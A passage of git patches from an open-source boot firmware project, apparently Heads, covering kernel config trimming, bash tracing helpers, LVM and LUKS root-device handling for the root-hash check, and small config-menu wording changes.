CONFIG_XZ_DEC_X86=y -CONFIG_XZ_DEC_POWERPC=y -CONFIG_XZ_DEC_IA64=y -CONFIG_XZ_DEC_ARM=y -CONFIG_XZ_DEC_ARMTHUMB=y -CONFIG_XZ_DEC_SPARC=y +# CONFIG_XZ_DEC_POWERPC is not set +# CONFIG_XZ_DEC_IA64 is not set +# CONFIG_XZ_DEC_ARM is not set +# CONFIG_XZ_DEC_ARMTHUMB is not set +# CONFIG_XZ_DEC_SPARC is not set # CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y -CONFIG_XZ_DEC_TEST=m +# CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y -CONFIG_DECOMPRESS_ZSTD=y CONFIG_GENERIC_ALLOCATOR=y CONFIG_REED_SOLOMON=y CONFIG_REED_SOLOMON_DEC8=y @@ -2887,7 +2816,6 @@ CONFIG_NEED_DMA_MAP_STATE=y CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y # CONFIG_DMA_API_DEBUG is not set -# CONFIG_DMA_MAP_BENCHMARK is not set CONFIG_SGL_ALLOC=y # CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y @@ -2895,9 +2823,7 @@ CONFIG_DQL=y CONFIG_GLOB=y # CONFIG_GLOB_SELFTEST is not set CONFIG_NLATTR=y -CONFIG_CLZ_TAB=y -CONFIG_IRQ_POLL=y -CONFIG_MPILIB=m +# CONFIG_IRQ_POLL is not set CONFIG_UCS2_STRING=y CONFIG_HAVE_GENERIC_VDSO=y CONFIG_GENERIC_GETTIMEOFDAY=y @@ -2929,28 +2855,23 @@ CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 CONFIG_BOOT_PRINTK_DELAY=y -CONFIG_DYNAMIC_DEBUG=y -CONFIG_DYNAMIC_DEBUG_CORE=y +# CONFIG_DYNAMIC_DEBUG is not set +# CONFIG_DYNAMIC_DEBUG_CORE is not set CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options CONFIG_DEBUG_KERNEL=y -CONFIG_DEBUG_MISC=y +# CONFIG_DEBUG_MISC is not set # # Compile-time checks and compiler options # -CONFIG_DEBUG_INFO=y CONFIG_AS_HAS_NON_CONST_LEB128=y -# CONFIG_DEBUG_INFO_NONE is not set +CONFIG_DEBUG_INFO_NONE=y # CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set -CONFIG_DEBUG_INFO_DWARF4=y +# CONFIG_DEBUG_INFO_DWARF4 is not set # CONFIG_DEBUG_INFO_DWARF5 is not set -# CONFIG_DEBUG_INFO_REDUCED is not set -# CONFIG_DEBUG_INFO_COMPRESSED is not set -# CONFIG_DEBUG_INFO_SPLIT is not set -CONFIG_GDB_SCRIPTS=y CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set @@ -2970,10 +2891,7 @@ CONFIG_MAGIC_SYSRQ=y CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x1 CONFIG_MAGIC_SYSRQ_SERIAL=y CONFIG_MAGIC_SYSRQ_SERIAL_SEQUENCE="" -CONFIG_DEBUG_FS=y -CONFIG_DEBUG_FS_ALLOW_ALL=y -# CONFIG_DEBUG_FS_DISALLOW_MOUNT is not set -# CONFIG_DEBUG_FS_ALLOW_NONE is not set +# CONFIG_DEBUG_FS is not set CONFIG_HAVE_ARCH_KGDB=y # CONFIG_KGDB is not set CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y @@ -3002,9 +2920,7 @@ CONFIG_HAVE_ARCH_KCSAN=y CONFIG_ARCH_HAS_DEBUG_WX=y # CONFIG_DEBUG_WX is not set CONFIG_GENERIC_PTDUMP=y -# CONFIG_PTDUMP_DEBUGFS is not set # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SHRINKER_DEBUG is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -3058,7 +2974,6 @@ CONFIG_WQ_WATCHDOG=y # end of Scheduler Debugging # CONFIG_DEBUG_TIMEKEEPING is not set -CONFIG_DEBUG_PREEMPT=y # # Lock Debugging (spinlocks, mutexes, etc...) @@ -3081,7 +2996,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # end of Lock Debugging (spinlocks, mutexes, etc...) # CONFIG_DEBUG_IRQFLAGS is not set -CONFIG_STACKTRACE=y +# CONFIG_STACKTRACE is not set # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3151,7 +3066,6 @@ CONFIG_HAVE_MMIOTRACE_SUPPORT=y CONFIG_IO_DELAY_0XED=y # CONFIG_IO_DELAY_UDELAY is not set # CONFIG_IO_DELAY_NONE is not set -# CONFIG_DEBUG_BOOT_PARAMS is not set # CONFIG_CPA_DEBUG is not set # CONFIG_DEBUG_ENTRY is not set # CONFIG_DEBUG_NMI_SELFTEST is not set @@ -3171,48 +3085,7 @@ CONFIG_UNWINDER_ORC=y CONFIG_ARCH_HAS_KCOV=y CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set -CONFIG_RUNTIME_TESTING_MENU=y -# CONFIG_LKDTM is not set -# CONFIG_TEST_MIN_HEAP is not set -# CONFIG_TEST_DIV64 is not set -# CONFIG_BACKTRACE_SELF_TEST is not set -# CONFIG_TEST_REF_TRACKER is not set -# CONFIG_RBTREE_TEST is not set -# CONFIG_REED_SOLOMON_TEST is not set -# CONFIG_INTERVAL_TREE_TEST is not set -# CONFIG_PERCPU_TEST is not set -# CONFIG_ATOMIC64_SELFTEST is not set -# CONFIG_TEST_HEXDUMP is not set -# CONFIG_STRING_SELFTEST is not set -# CONFIG_TEST_STRING_HELPERS is not set -# CONFIG_TEST_STRSCPY is not set -# CONFIG_TEST_KSTRTOX is not set -# CONFIG_TEST_PRINTF is not set -# CONFIG_TEST_SCANF is not set -# CONFIG_TEST_BITMAP is not set -# CONFIG_TEST_UUID is not set -# CONFIG_TEST_XARRAY is not set -# CONFIG_TEST_MAPLE_TREE is not set -# CONFIG_TEST_RHASHTABLE is not set -# CONFIG_TEST_SIPHASH is not set -# CONFIG_TEST_IDA is not set -# CONFIG_TEST_LKM is not set -# CONFIG_TEST_BITOPS is not set -# CONFIG_TEST_VMALLOC is not set -# CONFIG_TEST_USER_COPY is not set -# CONFIG_TEST_BPF is not set -# CONFIG_TEST_BLACKHOLE_DEV is not set -# CONFIG_FIND_BIT_BENCHMARK is not set -# CONFIG_TEST_FIRMWARE is not set -# CONFIG_TEST_UDELAY is not set -# CONFIG_TEST_STATIC_KEYS is not set -# CONFIG_TEST_DYNAMIC_DEBUG is not set -# CONFIG_TEST_KMOD is not set -# CONFIG_TEST_MEMCAT_P is not set -# CONFIG_TEST_MEMINIT is not set -# CONFIG_TEST_FREE_PAGES is not set -# CONFIG_TEST_FPU is not set -# CONFIG_TEST_CLOCKSOURCE_WATCHDOG is not set +# CONFIG_RUNTIME_TESTING_MENU is not set CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage From e0b46d086ac18826979b03e67a4405275801e1a0 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Wed, 10 Jan 2024 17:04:21 -0500 Subject: [PATCH 003/619] functions: TRACE_FUNC and DEBUG_STACK Add TRACE_FUNC to trace the file, line, and name of the calling function. File and function names don't have to be duplicated in a TRACE statement with this (they tend to become inaccurate as functions are renamed and the TRACE statement is forgotten). Add DEBUG_STACK to dump the bash stack to debug output. Configure bash with --enable-debugger. Bash doesn't actually include the entire debugger, this is just some supporting variables for it. Evidently, BASH_SOURCE[n] is only set within a function if this is enabled. I couldn't find this indicated in any documentation, but it happened in practice. Compressed initrd size only increased by 2560 bytes for librem_mini_v2, I think that is fine. This also gives us BASH_ARGC/BASH_ARGV which might be useful for diagnostics. Signed-off-by: Jonathon Hall --- initrd/etc/functions | 22 ++++++++++++++++++++++ modules/bash | 5 ++++- 2 files changed, 26 insertions(+), 1 deletion(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index 7e6a63515..7d8f2d26d 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -33,6 +33,28 @@ DO_WITH_DEBUG() { "$@" } +# Trace the current script and function. +TRACE_FUNC() { + # Index [1] for BASH_SOURCE and FUNCNAME give us the caller location. + # FUNCNAME is 'main' if called from a script outside any function. + # BASH_LINENO is offset by 1, it provides the line that the + # corresponding FUNCNAME was _called from_, so BASH_LINENO[0] is the + # location of the caller. + TRACE "${BASH_SOURCE[1]}(${BASH_LINENO[0]}): ${FUNCNAME[1]}" +} + +# Show the entire current call stack in debug output - useful if a catastrophic +# error or something very unexpected occurs, like totally invalid parameters. +DEBUG_STACK() { + local FRAMES + FRAMES="${#FUNCNAME[@]}" + DEBUG "call stack: ($((FRAMES-1)) frames)" + # Don't print DEBUG_STACK itself, start from 1 + for i in $(seq 1 "$((FRAMES-1))"); do + DEBUG "- $((i-1)) - ${BASH_SOURCE[$i]}(${BASH_LINENO[$((i-1))]}): ${FUNCNAME[$i]}" + done +} + pcrs() { if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then tpm2 pcrread sha256 diff --git a/modules/bash b/modules/bash index 327b5dd50..d42733866 100644 --- a/modules/bash +++ b/modules/bash @@ -7,6 +7,9 @@ bash_tar := bash-$(bash_version).tar.gz bash_url := https://ftpmirror.gnu.org/bash/$(bash_tar) bash_hash := 5bac17218d3911834520dad13cd1f85ab944e1c09ae1aba55906be1f8192f558 +# --enable-debugger: Enables BASH_SOURCE tracing through functions as well as +# BASH_ARGV/BASH_ARGC. (Otherwise BASH_SOURCE[0] is empty when calling a +# function, it's only set in top level script code.) bash_configure := CFLAGS="-g0 -Os" LDFLAGS="-s" ./configure \ $(CROSS_TOOLS) \ --host $(target) \ @@ -16,7 +19,7 @@ bash_configure := CFLAGS="-g0 -Os" LDFLAGS="-s" ./configure \ --mandir=/usr/share/man \ --without-bash-malloc \ --disable-coprocesses \ - --disable-debugger \ + --enable-debugger \ --disable-net-redirections \ --enable-single-help-strings \ --disable-nls \ From de1592e2f52ef08f4f0a6be40d3fc7f346973048 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Wed, 10 Jan 2024 17:08:23 -0500 Subject: [PATCH 004/619] lvm2: Support LVM2 thin provisioned volumes Support LVM2 thin-provisioned volumes. LVM2 wants the thin_check utility by default, but it has multiple dependencies we do not currently ship (boost, libexpat, others), so disable it. Signed-off-by: Jonathon Hall --- modules/lvm2 | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/lvm2 b/modules/lvm2 index 4bf9f172b..be1435a36 100644 --- a/modules/lvm2 +++ b/modules/lvm2 @@ -33,6 +33,7 @@ lvm2_configure := \ --disable-cache_check_needs_check \ --disable-thin_check_needs_check \ --with-cluster=none \ + --with-thin-check= \ # not sure why LIB_SUFFIX is not defined in the cross build lvm2_target := \ From 70d249ae4651753776798f429c050bf618038a03 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Wed, 10 Jan 2024 17:09:57 -0500 Subject: [PATCH 005/619] intird/bin/config-gui.sh: Clarify root hash menu item, minor cleanup Say the action to take in the menu (enable or disable) instead of just "Check root hashes at boot". Clean up some use of load_config_value, set_config, combine_configs. Get config values from the environment directly. set_user_config does set_config and combine_configs. Signed-off-by: Jonathon Hall --- initrd/bin/config-gui.sh | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index 24a940ba0..f31838675 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -39,7 +39,7 @@ while true; do 'r' ' Clear GPG key(s) and reset all user settings' 'R' ' Change the root device for hashing' 'D' ' Change the root directories to hash' - 'B' ' Check root hashes at boot' + 'B' " $(get_config_display_action "$CONFIG_ROOT_CHECK_AT_BOOT") root check at boot" 'L' " $(get_config_display_action "$CONFIG_RESTRICTED_BOOT") Restricted Boot" ) @@ -255,10 +255,9 @@ while true; do --msgbox "The root directories to hash was successfully changed to:\n$NEW_CONFIG_ROOT_DIRLIST" 0 80 ;; "B" ) - CURRENT_OPTION="$(load_config_value CONFIG_ROOT_CHECK_AT_BOOT)" - if [ "$CURRENT_OPTION" != "y" ]; then + if [ "$CONFIG_ROOT_CHECK_AT_BOOT" != "y" ]; then # Root device and directories must be set to enable this - if [ -z "$(load_config_value CONFIG_ROOT_DEV)" ] || [ -z "$(load_config_value CONFIG_ROOT_DIRLIST)" ]; then + if [ -z "$CONFIG_ROOT_DEV" ] || [ -z "$CONFIG_ROOT_DIRLIST" ]; then whiptail $BG_COLOR_ERROR --title 'Root Check Not Configured' \ --msgbox "Set the root device and directories to hash before enabling this feature." 0 80 elif (whiptail --title 'Enable Root Hash Check at Boot?' \ @@ -267,8 +266,7 @@ while true; do \na minute or more to the boot time. \n\nDo you want to proceed?" 0 80) then - set_config /etc/config.user "CONFIG_ROOT_CHECK_AT_BOOT" "y" - combine_configs + set_user_config "CONFIG_ROOT_CHECK_AT_BOOT" "y" # check that root hash file exists if [ ! -f ${ROOT_HASH_FILE} ]; then @@ -288,8 +286,7 @@ while true; do --yesno "This will disable checking root hashes each time you boot. \n\nDo you want to proceed?" 0 80) then - set_config /etc/config.user "CONFIG_ROOT_CHECK_AT_BOOT" "n" - combine_configs + set_user_config "CONFIG_ROOT_CHECK_AT_BOOT" "n" whiptail --title 'Config change successful' \ --msgbox "The root device will not be checked at each boot." 0 80 From 80b57eb60dbaf3fc64ecf6723940aa3167d5c71e Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Wed, 10 Jan 2024 17:13:44 -0500 Subject: [PATCH 006/619] initrd/bin/root-hashes-gui.sh: Qubes support, faster hash creation Don't spew the root hashes to the console when creating the hash file. This speeds up hash creation significantly. A basic Qubes install on a cheap (slow) SATA SSD reduced from about 1.5 minutes to just under 1 minute, and a PureOS install on a fast NVMe disk reduced from 2.5 minutes to 1 minute. Support opening LVM volume groups to find the root disk. If an LVM PV is found, its group is opened and the 'root' volume is used. There is no way to set the volume name in this iteration; this is the default name used by Qubes and probably common to many LVM OS installations. LUKS and LVM can be mixed. Tested LUKS (PureOS) and LUKS+LVM (Qubes). Always cd to "$ROOT_MOUNT" in a subshell, improves robustness of scripts (previously some functions only worked if they were called after another function had cd'd to "$ROOT_MOUNT"). Signed-off-by: Jonathon Hall --- initrd/bin/root-hashes-gui.sh | 269 +++++++++++++++++++++++++++++----- 1 file changed, 234 insertions(+), 35 deletions(-) diff --git a/initrd/bin/root-hashes-gui.sh b/initrd/bin/root-hashes-gui.sh index 94533bcb0..d772e02b6 100755 --- a/initrd/bin/root-hashes-gui.sh +++ b/initrd/bin/root-hashes-gui.sh @@ -32,7 +32,9 @@ update_root_checksums() { fi echo "+++ Calculating hashes for all files in $CONFIG_ROOT_DIRLIST_PRETTY " - cd $ROOT_MOUNT && find ${CONFIG_ROOT_DIRLIST} -type f ! -name '*kexec*' -print0 | xargs -0 sha256sum | tee ${HASH_FILE} + # Intentional wordsplit + # shellcheck disable=SC2086 + (cd "$ROOT_MOUNT" && find ${CONFIG_ROOT_DIRLIST} -type f ! -name '*kexec*' -print0 | xargs -0 sha256sum) >"${HASH_FILE}" # switch back to ro mode mount -o ro,remount /boot @@ -86,7 +88,7 @@ check_root_checksums() { fi echo "+++ Checking for new files in $CONFIG_ROOT_DIRLIST_PRETTY " - find ${CONFIG_ROOT_DIRLIST} -type f ! -name '*kexec*' | sort > /tmp/new_file_list + (cd "$ROOT_MOUNT" && find ${CONFIG_ROOT_DIRLIST} -type f ! -name '*kexec*') | sort > /tmp/new_file_list cut -d' ' -f3- ${HASH_FILE} | sort | diff -U0 - /tmp/new_file_list > /tmp/new_file_diff || new_files_found=y if [ "$new_files_found" == "y" ]; then grep -E -v '^[+-]{3}|[@]{2} ' /tmp/new_file_diff > /tmp/new_file_diff2 # strip any output that's not a file @@ -102,7 +104,7 @@ check_root_checksums() { fi echo "+++ Checking hashes for all files in $CONFIG_ROOT_DIRLIST_PRETTY (this might take a while) " - if cd $ROOT_MOUNT && sha256sum -c ${HASH_FILE} > /tmp/hash_output 2>/dev/null; then + if (cd $ROOT_MOUNT && sha256sum -c ${HASH_FILE} > /tmp/hash_output 2>/dev/null); then echo "+++ Verified root hashes " valid_hash='y' unmount_root_device @@ -156,29 +158,234 @@ check_root_checksums() { fi fi } + +# Check if a device is an LVM2 PV, and if so print the VG name +find_lvm_vg_name() { + TRACE_FUNC + local DEVICE VG + DEVICE="$1" + + mkdir -p /tmp/root-hashes-gui + if ! lvm pvs "$DEVICE" >/tmp/root-hashes-gui/lvm_vg 2>/dev/null; then + DEBUG "Did not detect an LVM2 PV: $DEVICE" + return 1 + fi + + VG="$(tail -n +2 /tmp/root-hashes-gui/lvm_vg | awk '{print $2}')" + if [ -z "$VG" ]; then + DEBUG "Could not find LVM2 VG from lvm pvs output:" + DEBUG "$(cat /tmp/root-hashes-gui/lvm_vg)" + return 1 + fi + + echo "$VG" +} + +# Open an LVM volume group, then continue looking for more layers in the 'root' +# logical volume. +open_block_device_lvm() { + TRACE_FUNC + local VG="$1" + + if ! lvm vgchange -ay "$VG"; then + DEBUG "Can't open LVM VG: $VG" + return 1 + fi + + # Use the LV 'root'. This is the default name used by Qubes. There's no + # way to configure this at the moment. + if ! [ -e "/dev/mapper/$VG-root" ]; then + DEBUG "LVM volume group does not have 'root' logical volume" + return 1 + fi + + # Use the root LV now + open_block_device_layers "/dev/mapper/$VG-root" +} + +# Open a LUKS device, then continue looking for more layers. +open_block_device_luks() { + TRACE_FUNC + local DEVICE="$1" + local LUKSDEV + LUKSDEV="$(basename "$DEVICE")_crypt" + + # Open the LUKS device. This may prompt interactively for the passphrase, so + # hook it up to the console even if stdout/stdin have been redirected. + if ! cryptsetup open "$DEVICE" "$LUKSDEV"; then + DEBUG "Can't open LUKS volume: $DEVICE" + return 1 + fi + + open_block_device_layers "/dev/mapper/$LUKSDEV" +} + +# Open block device layers to access /root recursively. If another layer (LUKS +# or LVM) can be identified, open it and recurse into the new device. When all +# recognized layers are opened, print the final block device and exit +# successfully (open_root_device will try to mount it). +# +# This only fails if we can recognize another LUKS or LVM layer, but cannot open +# it. It succeeds otherwise, even if no layers are recognized, because we +# should try to mount the block device directly in that case. +open_block_device_layers() { + TRACE_FUNC + local DEVICE="$1" + local VG + + if ! [ -e "$DEVICE" ]; then + DEBUG "Block device doesn't exit: $DEVICE" + # This shouldn't really happen, we thought we opened the last layer + # successfully. The call stack reveals what LUKS/LVM2 layers have been + # opened so far. + DEBUG_STACK + return 1 + fi + + # Try to open a LUKS layer + if cryptsetup isLuks "$DEVICE" &>/dev/null; then + open_block_device_luks "$DEVICE" || return 1 + # Try to open an LVM layer + elif VG="$(find_lvm_vg_name "$DEVICE")"; then + open_block_device_lvm "$VG" || return 1 + else + # The given block device exists but is not any layer we understand. Stop + # opening layers and try to mount it. + echo "$DEVICE" + fi +} + +# Try to open a block device as /root. open_block_device_layers() is used to +# open LUKS and LVM layers before mounting the filesystem. +# +# This function does not clean up anything if it is unsuccessful. Use +# try_open_root_device() to also clean up when unsuccessful. +open_root_device_no_clean_up() { + TRACE_FUNC + local DEVICE="$1" + local FS_DEVICE + + # Open LUKS/LVM and get the name of the block device that should contain the + # filesystem. If there are no LUKS/LVM layers, FS_DEVICE is just DEVICE. + FS_DEVICE="$(open_block_device_layers "$DEVICE")" || return 1 + + # Mount the device + if ! mount -o ro "$FS_DEVICE" "$ROOT_MOUNT" &>/dev/null; then + DEBUG "Can't mount filesystem on $FS_DEVICE from $DEVICE" + return 1 + fi + + # The filesystem must have all of the directories configured. (Intentional + # word-split) + # shellcheck disable=SC2086 + if ! (cd "$ROOT_MOUNT" && ls -d $CONFIG_ROOT_DIRLIST &>/dev/null); then + DEBUG "Root filesystem on $DEVICE lacks one of the configured directories: $CONFIG_ROOT_DIRLIST" + return 1 + fi + + # Root is mounted now and the directories are present + return 0 +} + +# If an LVM VG is open, close any layers within it, then close the LVM VG. +close_block_device_lvm() { + TRACE_FUNC + local VG="$1" + + # We always use the LV 'root' currently + local LV="/dev/mapper/$VG-root" + if [ -e "$LV" ]; then + close_block_device_layers "$LV" + fi + + # The LVM VG might be open even if no 'root' LV exists, still try to close it. + lvm vgchange -an "$VG" || \ + DEBUG "Can't close LVM VG: $VG" +} + +# If a LUKS device is open, close any layers within the LUKS device, then close +# the LUKS device. +close_block_device_luks() { + TRACE_FUNC + local DEVICE="$1" + local LUKSDEV + LUKSDEV="$(basename "$DEVICE")_crypt" + + if [ -e "/dev/mapper/$LUKSDEV" ]; then + # Close inner layers before trying to close LUKS + close_block_device_layers "/dev/mapper/$LUKSDEV" + cryptsetup close "$LUKSDEV" || \ + DEBUG "Can't close LUKS volume: $LUKSDEV" + fi +} + +# Close the root device, including unmounting the filesystem and closing all +# layers. This can close a partially-opened device if an error occurs. +close_block_device_layers() { + TRACE_FUNC + local DEVICE="$1" + local VG + + if ! [ -e "$DEVICE" ]; then + DEBUG "Block device doesn't exit: $DEVICE" + # Like in open_root_device(), this shouldn't really happen, show the layers + # up to this point via the call stack. + DEBUG_STACK + return 1 + fi + + if cryptsetup isLuks "$DEVICE"; then + close_block_device_luks "$DEVICE" + elif VG="$(find_lvm_vg_name "$DEVICE")"; then + close_block_device_lvm "$VG" + fi + # Otherwise, we've handled all the layers we understood, there's nothing left + # to do. +} + +# Try to open the root device, and clean up if unsuccessful. +open_root_device() { + TRACE_FUNC + if ! open_root_device_no_clean_up "$1"; then + unmount_root_device + return 1 + fi + + return 0 +} + +# Close the root device, including unmounting the filesystem and closing all +# layers. This can close a partially-opened device if an error occurs. This +# never fails, if an error occurs it still tries to close anything it can. +close_root_device() { + TRACE_FUNC + local DEVICE="$1" + + # Unmount the filesystem if it is mounted. If it is not mounted, ignore the + # failure. If it is mounted but can't be unmounted, this will fail and we + # will fail to close any LUKS/LVM layers too. + umount "$ROOT_MOUNT" &>/dev/null || true + + close_block_device_layers "$DEVICE" || true +} + # detect and set /root device # mount /root if successful detect_root_device() { + TRACE_FUNC + echo "+++ Detecting root device " if [ ! -e $ROOT_MOUNT ]; then mkdir -p $ROOT_MOUNT fi - # unmount $ROOT_MOUNT to be safe - cd / && umount $ROOT_MOUNT 2>/dev/null + # Ensure nothing is opened/mounted + unmount_root_device # check $CONFIG_ROOT_DEV if set/valid - if [ -e "$CONFIG_ROOT_DEV" ]; then - if cryptsetup isLuks $CONFIG_ROOT_DEV >/dev/null 2>&1; then - if cryptsetup open $CONFIG_ROOT_DEV rootdisk; then - if mount -o ro /dev/mapper/rootdisk $ROOT_MOUNT >/dev/null 2>&1; then - if cd $ROOT_MOUNT && ls -d $CONFIG_ROOT_DIRLIST >/dev/null 2>&1; then # CONFIG_ROOT_DEV is valid device and contains an installed OS - return 0 - fi - fi - fi - fi + if [ -e "$CONFIG_ROOT_DEV" ] && open_root_device "$CONFIG_ROOT_DEV"; then + return 0 fi # generate list of possible boot devices @@ -186,7 +393,7 @@ detect_root_device() # filter out extraneous options > /tmp_root_device_list - for i in `cat /tmp/disklist`; do + while IFS= read -r -u 10 i; do # remove block device from list if numeric partitions exist DEV_NUM_PARTITIONS=$((`ls -1 $i* | wc -l`-1)) if [ ${DEV_NUM_PARTITIONS} -eq 0 ]; then @@ -194,33 +401,25 @@ detect_root_device() else ls $i* | tail -${DEV_NUM_PARTITIONS} >> /tmp_root_device_list fi - done - - # iterate thru possible options and check for LUKS - for i in `cat /tmp_root_device_list`; do - if cryptsetup isLuks $i >/dev/null 2>&1; then - if cryptsetup open $i rootdisk; then - if mount -o ro /dev/mapper/rootdisk $ROOT_MOUNT >/dev/null 2>&1; then - if cd $ROOT_MOUNT && ls -d $CONFIG_ROOT_DIRLIST >/dev/null 2>&1; then - # CONFIG_ROOT_DEV is valid device and contains an installed OS - CONFIG_ROOT_DEV="$i" - return 0 - fi - fi - fi + done 10/dev/null - cryptsetup close rootdisk + [ -e "$CONFIG_ROOT_DEV" ] && close_root_device "$CONFIG_ROOT_DEV" } checkonly="n" From ae29ddbc78cb7004bb27a57c986dd949da24ec1f Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Wed, 17 Jan 2024 16:29:50 -0500 Subject: [PATCH 007/619] initrd/bin/root-hashes-gui.sh: Remove debug statement for non-LVM-PV This statement was confusing and should be clear from tracing anyway. Signed-off-by: Jonathon Hall --- initrd/bin/root-hashes-gui.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/root-hashes-gui.sh b/initrd/bin/root-hashes-gui.sh index d772e02b6..1e55018f1 100755 --- a/initrd/bin/root-hashes-gui.sh +++ b/initrd/bin/root-hashes-gui.sh @@ -167,7 +167,7 @@ find_lvm_vg_name() { mkdir -p /tmp/root-hashes-gui if ! lvm pvs "$DEVICE" >/tmp/root-hashes-gui/lvm_vg 2>/dev/null; then - DEBUG "Did not detect an LVM2 PV: $DEVICE" + # It's not an LVM PV return 1 fi From 84040176faa142438608f42c71109bbdc8b0379b Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Wed, 17 Jan 2024 16:30:31 -0500 Subject: [PATCH 008/619] modules/bash: Enable readline Restores autocomplete and makes bash more usable as an interactive shell. Added 106 KB to compressed initrd (checked librem_14). Signed-off-by: Jonathon Hall --- modules/bash | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/bash b/modules/bash index d42733866..e29fed726 100644 --- a/modules/bash +++ b/modules/bash @@ -23,7 +23,7 @@ bash_configure := CFLAGS="-g0 -Os" LDFLAGS="-s" ./configure \ --disable-net-redirections \ --enable-single-help-strings \ --disable-nls \ - --disable-readline \ + --enable-readline \ bash_target := $(MAKE_JOBS) \ && $(MAKE) -C $(build)/$(bash_dir) \ From 9b4eb8df716e91a904b0a1ac8b33c33fb4dd191e Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Wed, 31 Jan 2024 09:58:35 -0500 Subject: [PATCH 009/619] config-gui.sh: Reword USB keyboard notice, show on enable only Reword the notice shown when enabling USB keyboards based on feedback. Remove the notice when disabling USB keyboard support, show it only when enabling. Signed-off-by: Jonathon Hall --- initrd/bin/config-gui.sh | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index 3e61a7da5..df8bc9235 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -528,7 +528,7 @@ while true; do if [ "$CONFIG_USER_USB_KEYBOARD" != "y" ]; then if (whiptail --title 'Enable USB Keyboard?' \ --yesno "USB keyboards will be usable in $CONFIG_BRAND_NAME. - \n\nIgnoring USB keyboards prevents a compromised USB device from controlling + \n\nEnabling USB keyboards could allow a compromised USB device to control \n$CONFIG_BRAND_NAME. \n\nDo you want to proceed?" 0 80) then @@ -541,8 +541,6 @@ while true; do else if (whiptail --title 'Disable USB Keyboard?' \ --yesno "Only the built-in keyboard will be usable in $CONFIG_BRAND_NAME. - \n\nIgnoring USB keyboards prevents a compromised USB device from controlling - \n$CONFIG_BRAND_NAME. \n\nDo you want to proceed?" 0 80) then set_user_config "CONFIG_USER_USB_KEYBOARD" "n" From 40c34453dfee83b05ff25badf9c430ba73f458c5 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 1 Feb 2024 14:30:31 -0500 Subject: [PATCH 010/619] all scripts: replace TRACE manual strings with dynamic tracing by bash debug Exception: scripts sourcing/calls within etc/ash_functions continues to use old TRACE functions until we switch to bash completely getting rid of ash. This would mean getting rid of legacy boards (flash + legacy boards which do not have enough space for bash in flash boards) once and for all. Signed-off-by: Thierry Laurion --- initrd/bin/cbfs-init | 2 +- initrd/bin/cbfs.sh | 2 +- initrd/bin/config-gui.sh | 2 +- initrd/bin/flash-gui.sh | 2 +- initrd/bin/flashrom-kgpe-d16-openbmc.sh | 2 +- initrd/bin/generic-init | 2 +- initrd/bin/gpg-gui.sh | 2 +- initrd/bin/gpgv | 2 +- initrd/bin/gui-init | 40 +++++++++--------- initrd/bin/gui-init-basic | 18 ++++----- initrd/bin/kexec-boot | 2 +- initrd/bin/kexec-insert-key | 2 +- initrd/bin/kexec-iso-init | 2 +- initrd/bin/kexec-parse-bls | 2 +- initrd/bin/kexec-parse-boot | 2 +- initrd/bin/kexec-save-default | 4 +- initrd/bin/kexec-save-key | 2 +- initrd/bin/kexec-seal-key | 2 +- initrd/bin/kexec-select-boot | 2 +- initrd/bin/kexec-sign-config | 2 +- initrd/bin/kexec-unseal-key | 2 +- initrd/bin/key-init | 2 +- initrd/bin/lock_chip | 23 ++++++++++- initrd/bin/media-scan | 2 +- initrd/bin/mount-usb | 2 +- initrd/bin/network-init-recovery | 2 +- initrd/bin/oem-factory-reset | 54 ++++++++++++------------- initrd/bin/oem-system-info-xx30 | 2 +- initrd/bin/qubes-measure-luks | 2 +- initrd/bin/seal-hotpkey | 4 +- initrd/bin/seal-totp | 2 +- initrd/bin/setconsolefont.sh | 2 +- initrd/bin/tpmr | 40 +++++++++--------- initrd/bin/unpack_initramfs.sh | 8 ++-- initrd/bin/unseal-hotp | 4 +- initrd/bin/unseal-totp | 2 +- initrd/bin/usb-init | 2 +- initrd/bin/wget-measure.sh | 2 +- initrd/etc/functions | 34 ++++++++-------- initrd/etc/gui_functions | 6 +-- 